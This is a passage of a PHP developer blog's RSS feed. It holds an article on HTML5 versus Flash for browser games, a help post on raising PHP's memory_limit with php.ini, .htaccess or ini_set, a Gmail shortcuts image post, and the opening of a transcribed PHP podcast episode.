that web developers can now use to make graphically intensive and interactive websites. This has special implications for online game designers. Soon (hopefully) designers will no longer be forced to choose from a select few proprietary technologies that not only are expensive, but also obligate their end users to download, install, and regularly update the respective plug-ins.&lt;/p&gt;
&lt;h2 style=&quot;font: bold 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;The New Kid on the Block: HTML5 Games&lt;/h2&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Traditionally the role of HTML has been used primarily to define and layout the text on web pages. Over the years, however, its role has slowly evolved to be more interactive. The new HTML5 spec furthers this evolution by including definitions for several additional elements aimed at interactivity, multimedia, and graphics. Combine&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;
these new HTML5 elements with the faster and enhanced JavaScript engines available in modern browsers and you now have a set of tools perfectly suited for online game development.&lt;/p&gt;
&lt;h2 style=&quot;font: bold 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Some advantages of HTML5 for Games&lt;/h2&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Not only are the HTML5 technologies well suited for creating browser based games, they offer several advantages over proprietary options. HTML5 is an open technology. It doesn&amp;rsquo;t cost anything and technically only requires a simple text editor to code in. Never underestimate the power of free. Flash and other proprietary technologies all cost the developer. While this certainly isn&amp;rsquo;t the only factor that a game developer would consider, it certainly does play a role, and for the small time indie developer it might be a very big factor. Compatibility is another huge advantage HTML5 has. HTML is the lowest common denominator for all web based devices. By using HTML5 you can target a wider array of devices and gadgets without having to specifically port your game to each different platform. Another often forgotten advantage is ease of use. For the technically savvy, downloading, installing, and updating plug-ins is only a minor hassle. However, for less technically savvy users this can be quite a hurdle and just may turn away users altogether.&lt;/p&gt;
&lt;h2 style=&quot;font: bold 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Some Interesting Charts&lt;/h2&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Above you will find some charts from Google Trends for the search term &amp;ldquo;flash games&amp;rdquo; and then also the term &amp;ldquo;html5 games&amp;rdquo;. It is easy to see that searches for &amp;ldquo;flash games&amp;rdquo; have been in steady decline for over the past 5 years while searches for HTML5 games have seen some pretty impressive growth in the past 3 years. While this really doesn&amp;rsquo;t prove anything, it is an interesting metric to help gauge the popularity trends of the two different technologies. It is important to note that these charts show only relative search volume and not overall volume. Per the Google Adwords tool, the monthly global search volume for &amp;ldquo;flash games&amp;rdquo; is 11,100,000 compared to a measly 49,500 for &amp;ldquo;html5 games&amp;rdquo;.&lt;/p&gt;
&lt;h2 style=&quot;font: bold 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;The Future of online Games&lt;/h2&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Will HTML5 be the end of plug-in based games? If it is, it is pretty safe to say that it won&amp;rsquo;t be happening anytime soon. It is estimated that the HTML5 spec will not be fully implemented until 2022. Despite this long time-frame, browser makers are already racing to include all the HTML5 functionality that they can. Game developers have taken advantage of this and created numerous quality games that easily compete with their flash counterparts. Take a look at all these&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;margin: 0px; padding: 0px; color: rgb(0, 113, 216); text-decoration: none;&quot; onclick=&quot;javascript:_gaq.push(['_trackEvent','outbound-article','http://html5gamer.net']);&quot; href=&quot;http://html5gamer.net/&quot;&gt;&lt;font color=&quot;#0071d8&quot;&gt;HTML5 games&lt;/font&gt;&lt;/a&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;to see some excellent examples of what is already possible with the new technology.&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Given the current search trends and the several advantages HTML5 has over Flash, the future for HTML5 games looks bright. While it is not certain if HTML5 will eventually win out to become the gaming technology of choice, one thing is for certain: the love of online casual gaming has captured the interest of millions and as long as that interest exists developers will continue to create fun and exciting games.&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Reference:- sitepoint.com&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
								         <pubDate>Fri, 25 May 2012 19:07:16 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/58/HTML5-and-the-Future-of-Online-Games</guid>
								      </item>								      <item>
								         <title>PHP Memory_limit - Why Do I Get The Error Allowed Memory Size Of Xxx Bytes</title>
								         <link>http://www.nileshpawar.com/57/PHP-Memory_limit---Why-Do-I-Get-The-Error-Allowed-Memory-Size-Of-Xxx-Bytes</link>
								         <description>&lt;div class=&quot;TopicOptions&quot; style=&quot;font: 12px/normal Verdana, Geneva, sans-serif; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Why do I get the error Allowed memory size of Xxx bytes exhausted?&lt;span class=&quot;Apple-converted-space&quot;&gt; &lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
this is because you have exhausted your memory on your server. this often happens when you have a large site or with big files or simply have really messy coding that requires alot of resources from your web server. In shared hosting, this is common. however, if you have a dedicated server you can chang the memory limit in your php.ini file to 16 or 32. but if you don't have a dedicated server you can create a .htaccess file to do the same without changing the php.ini file.&lt;span class=&quot;Apple-converted-space&quot;&gt; &lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
You are exhausting the available memory that PHP has access to. In php.ini there is a config variable named memory_limit that by default is set to 8MB. Edit php.ini and increase it to a larger value (restart Apache afterwards). If you don't have access to php.ini, you can add this line to your .htaccess file in your gallery2 folder. Usually, unless you are the owner of the server, you don't have access to change php.ini. If there is no .htaccess file yet, you can create one (it's just a text file with the name '.htaccess').&lt;span class=&quot;Apple-converted-space&quot;&gt; &lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;     Code:&lt;/strong&gt;
&lt;div class=&quot;code&quot; style=&quot;margin: 5px 20px 20px; padding: 6px; border: 1px inset rgb(102, 102, 102); width: 550px; height: 130px; text-align: left; line-height: 16px; overflow: auto; font-family: &amp;quot;Courier New&amp;quot;, Courier, mono; font-size: 12px; background-color: rgb(255, 255, 204);&quot;&gt;php_value memory_limit [new memory limit]&lt;/div&gt;
&lt;br /&gt;
To change it to 24 MB, write:&lt;span class=&quot;Apple-converted-space&quot;&gt; &lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;     Code:&lt;/strong&gt;
&lt;div class=&quot;code&quot; style=&quot;margin: 5px 20px 20px; padding: 6px; border: 1px inset rgb(102, 102, 102); width: 550px; height: 130px; text-align: left; line-height: 16px; overflow: auto; font-family: &amp;quot;Courier New&amp;quot;, Courier, mono; font-size: 12px; background-color: rgb(255, 255, 204);&quot;&gt;php_value memory_limit 24M&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
If the .htaccess method does not work or if you get an internal server error after adding this line, remove the line from the .htaccess again. You can also try to change the memory_limit by adding the following line right after '&amp;lt;?php ' in install/index.php and in main.php:&lt;span class=&quot;Apple-converted-space&quot;&gt; &lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;     Code:&lt;/strong&gt;
&lt;div class=&quot;code&quot; style=&quot;margin: 5px 20px 20px; padding: 6px; border: 1px inset rgb(102, 102, 102); width: 550px; height: 130px; text-align: left; line-height: 16px; overflow: auto; font-family: &amp;quot;Courier New&amp;quot;, Courier, mono; font-size: 12px; background-color: rgb(255, 255, 204);&quot;&gt;ini_set(&amp;quot;memory_limit&amp;quot;,&amp;quot;32M&amp;quot;);&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
If there's no &amp;quot;memory_limit&amp;quot; parameter in your phpinfo page, then all PHP/Webserver processes are limited by the per process max memory limit. You'll have to ask an administrator to change the limit in this case. On linux/unix, you can check the limit with the following command in the shell:&lt;span class=&quot;Apple-converted-space&quot;&gt; &lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;     Code:&lt;/strong&gt;
&lt;div class=&quot;code&quot; style=&quot;margin: 5px 20px 20px; padding: 6px; border: 1px inset rgb(102, 102, 102); width: 550px; height: 130px; text-align: left; line-height: 16px; overflow: auto; font-family: &amp;quot;Courier New&amp;quot;, Courier, mono; font-size: 12px; background-color: rgb(255, 255, 204);&quot;&gt;ulimit -a&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Or with PHP with a script check.php&lt;span class=&quot;Apple-converted-space&quot;&gt; &lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;     Code:&lt;/strong&gt;
&lt;div class=&quot;code&quot; style=&quot;margin: 5px 20px 20px; padding: 6px; border: 1px inset rgb(102, 102, 102); width: 550px; height: 130px; text-align: left; line-height: 16px; overflow: auto; font-family: &amp;quot;Courier New&amp;quot;, Courier, mono; font-size: 12px; background-color: rgb(255, 255, 204);&quot;&gt;&amp;lt;?php print system('ulimit -a'); ?&amp;gt;&lt;/div&gt;
&lt;/div&gt;</description>
								         <pubDate>Thu, 24 May 2012 05:11:09 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/57/PHP-Memory_limit---Why-Do-I-Get-The-Error-Allowed-Memory-Size-Of-Xxx-Bytes</guid>
								      </item>								      <item>
								         <title>Gmail Keyboard shortcuts - Simple yet effective tips by PHP Expert</title>
								         <link>http://www.nileshpawar.com/56/Gmail-Keyboard-shortcuts---Simple-yet-effective-tips-by-PHP-Expert</link>
								         <description>&lt;p&gt;&lt;img width=&quot;600&quot; alt=&quot;&quot; src=&quot;http://www.nileshpawar.com/images/gmail_shortcuts.png&quot; /&gt;&lt;/p&gt;</description>
								         <pubDate>Wed, 09 May 2012 21:41:29 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/56/Gmail-Keyboard-shortcuts---Simple-yet-effective-tips-by-PHP-Expert</guid>
								      </item>								      <item>
								         <title>Will it ever Matter if PHP Sucks? - Lately in PHP podcast episode 23 - PHP Classes blog : PHP Expert India</title>
								         <link>http://www.nileshpawar.com/55/Will-it-ever-Matter-if-PHP-Sucks?---Lately-in-PHP-podcast-episode-23---PHP-Classes-blog-:-PHP-Expert-India</link>
								         <description>&lt;p&gt;One Classic Article - Transcripted ---&lt;/p&gt;
&lt;h4 style=&quot;font: bold 14px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(17, 52, 82); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Introduction (0:20)&lt;/h4&gt;
&lt;h4 style=&quot;font: bold 14px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(17, 52, 82); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;PHP 5.4.1 and 5.3.11 releases and Apache 2.4 support (2:29)&lt;/h4&gt;
&lt;h4 style=&quot;font: bold 14px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(17, 52, 82); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;The polemic of the pure PHP scripts proposal (5:57)&lt;/h4&gt;
&lt;h4 style=&quot;font: bold 14px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(17, 52, 82); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Case sensitive PHP function names proposal (12:26)&lt;/h4&gt;
&lt;h4 style=&quot;font: bold 14px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(17, 52, 82); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Proposal to skip optional arguments in PHP function calls (16:52)&lt;/h4&gt;
&lt;h4 style=&quot;font: bold 14px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(17, 52, 82); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&amp;quot;PHP Sucks but it still doesn't matter&amp;quot; (19:23)&lt;/h4&gt;
&lt;h4 style=&quot;font: bold 14px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(17, 52, 82); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Making the Web Faster with HTTP 2.0 and consequences for PHP developers (33:26)&lt;/h4&gt;
&lt;h4 style=&quot;font: bold 14px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(17, 52, 82); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Latest JavaScript Objects published in the JSClasses site (50:17)&lt;/h4&gt;
&lt;h4 style=&quot;font: bold 14px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(17, 52, 82); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;PHP Programming Innovation Award of February 2012 (56:41)&lt;/h4&gt;
&lt;h4 style=&quot;font: bold 14px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(17, 52, 82); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Conclusion (1:03:44)&lt;/h4&gt;
&lt;div style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;
&lt;h3 style=&quot;margin: 10px 0px; padding: 10px 0px; color: rgb(51, 51, 51); font-size: 15px; border-bottom-color: rgb(204, 204, 204); border-bottom-width: 3px; border-bottom-style: dotted;&quot;&gt;Introduction (0:20)&lt;/h3&gt;
&lt;/div&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Manuel Lemos:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;Hello, welcome to the Lately in PHP podcast, this is episode 23, and this time we're starting something new, an experimental thing which is basically to record and actually transmit the podcast recording live to whoever may be attending.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Pprobably this is not the best day to record, only Ernani came here to the podcast. &amp;nbsp;Hello, Ernani, how are you doing?&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Ernani Joppert:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;Hello, Manuel, I'm doing great, lots of things to talk about, I'm glad to be here and see if this goes as a different experience.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Manuel Lemos:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;Yes, it certainly will go, actually we already recorded the...&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Ernani Joppert:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;The JS Classes, right?&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Manuel Lemos:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;Right, the first edition of JS Classes...&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Ernani Joppert:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;Oh, I see some little elephants there.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Manuel Lemos:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;Right. &amp;nbsp;Basically these are the well-known PHP mascots, actually there is a big one and a small one, but actually as I mentioned previously, there will be a new one which will look like the original PHP mascot.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Ernani Joppert:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;From PHP Classes.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Manuel Lemos:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;Right. &amp;nbsp;PHP Classes mascot, I'm trying to show it in the screen, this is a prototype, this is not the final version of the new mascot. In the end it will look like exactly as you see in the PHP Classes site.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;This is just a test, they are still iterating, and hopefully it will look much closer to the logo used in the PHP Classes site which is basically a creation of Ifat Amit, a lady, that created the current design, the current theme of the PHP Classes site.&lt;/p&gt;
&lt;h3 style=&quot;margin: 10px 0px; padding: 10px 0px; text-align: left; color: rgb(51, 51, 51); text-transform: none; line-height: normal; text-indent: 0px; letter-spacing: normal; font-family: arial, helvetica, sans-serif; font-size: 15px; font-style: normal; font-variant: normal; word-spacing: 0px; border-bottom-color: rgb(204, 204, 204); border-bottom-width: 3px; border-bottom-style: dotted; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;PHP 5.4.1 and 5.3.11 releases and Apache 2.4 support (2:29)&lt;/h3&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Manuel Lemos:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;And, anyway, we are actually moving on to the actual podcast, and today we have several topics, several interesting topics to talk about starting from the just released PHP 5.4.1 that was released yesterday, today is already the 27th, and yesterday it was released both PHP 5.4.1 and the PHP 5.3.11.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Well, there is not much to say about these revisions of PHP, probably the greatest new thing that was introduced is the support for Apache 2.4 which was not previously working, the build was not working with that Apache version, but now it seems to be working, I have not tried it yet, but I actually intend to upgrade PHP 5.3 to this revision 11, and mainly because it contains a security vulnerability fix done by Stefan Hesser in a way that magic quotes are handled.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;I do not use magic codes anywhere, but since it seems to be a security vulnerability it's always good to upgrade.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Ernani, are you already using PHP 5.4, are you planning to, what is your plan?&lt;/p&gt;
